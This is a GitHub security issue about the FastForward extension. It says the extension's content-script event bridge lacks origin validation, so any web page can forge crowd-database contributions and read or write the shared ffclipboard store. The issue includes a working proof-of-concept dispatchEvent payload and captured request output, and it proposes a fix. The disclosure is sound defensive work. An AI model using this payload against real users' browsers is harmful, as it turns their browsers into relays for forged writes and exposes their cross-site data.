Skip to content

Missing sender/origin validation on content-script<->page CustomEvent bridge (crowd-contribute write + cross-origin ffclipboard leak) #1566

Description

@router0mail

Summary

content_script.js listens on document for a set of internally-named CustomEvents (ff53054c0e13_crowdQuery, ff53054c0e13_crowdContribute, ff53054c0e13_followAndContribute, ff53054c0e13_ffclipboardSet/Get/Clear) meant to be dispatched only by the extension's own MAIN-world injected script. Because a CustomEvent dispatched on document carries no origin information and the listener performs no check at all, any web page the content script runs on (matches: <all_urls>) can dispatch these events directly from its own page JS and have the content script relay them into privileged chrome.runtime.sendMessage calls to background.js.

Two concrete, live-verified consequences:

  1. crowdContribute has zero field/domain validation (unlike the sibling followAndContribute handler, which correctly allowlists the target host against fetchDomains). Any webpage can make the background service worker POST completely attacker-controlled body content to https://crowd.fastforward.team/crowd/contribute_v1, silently, on every page load.
  2. Cross-origin read/write of the shared ffclipboard key/value store (chrome.storage.local) -- any page can Set or Get any key, breaking the per-flow isolation it's meant to provide across bypass pages.

Root cause

document.addEventListener('ff53054c0e13_crowdContribute', (event) => {
  let data = event.detail;
  chrome.runtime.sendMessage({ type: 'crowdContribute', detail: data });
});

background.js forwards request.detail fields straight into a URLSearchParams POST body with no allowlist:

let params = new URLSearchParams();
if (request.type !== 'followAndContribute') {
  for (let key in request.detail) {
    params.append(key, request.detail[key]);   // no validation, attacker-controlled
  }
}

Compare with followAndContribute, which DOES check fetchDomains.includes(dest.hostname) -- the check pattern exists in this file, it's just missing for crowdContribute/ffclipboard*.

Proof of concept (live-verified)

Built the real extension from HEAD, loaded unpacked in headless Chromium via puppeteer-core, hooked fetch in the real background service worker, then from an unrelated page (https://example.org) dispatched the event directly:

document.dispatchEvent(new CustomEvent('ff53054c0e13_crowdContribute', {
  detail: { domain: 'attacker-controlled.example', path: 'forged-path',
            target: 'https://attacker-controlled.example/payload',
            extra_field_attacker_added: 'anything I want, no validation' }
}));

Captured real outbound fetch():

{"url": "https://crowd.fastforward.team/crowd/contribute_v1",
 "body": "domain=attacker-controlled.example&path=forged-path&target=https%3A%2F%2Fattacker-controlled.example%2Fpayload&extra_field_attacker_added=anything+I+want%2C+no+validation"}

Second PoC -- ffclipboard leak: page A (example.org) sets key workink, page B (example.com, unrelated origin) reads it back with the forged value intact.

Impact

Crowd-database write abuse: the crowd API is already publicly writable per the project's own docs, so the new capability is using every visiting victim's browser/IP as an anonymizing relay for writes, evading IP-based rate-limiting at scale, silently. ffclipboard: any page can forge/leak values used to correlate multi-hop bypass state.

Suggested fix

Generate a random per-page-load token passed to the injected script (the existing ?ext_base_URL= channel could carry it), require every bridge event's detail to include it. Apply the existing fetchDomains allowlist pattern to crowdContribute too. Scope ffclipboard entries by tab/origin instead of a single global namespace.


This report was produced with AI assistance (Claude, Anthropic): static analysis plus live verification by loading the built extension in a real headless Chromium instance and driving it via CDP/puppeteer-core.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions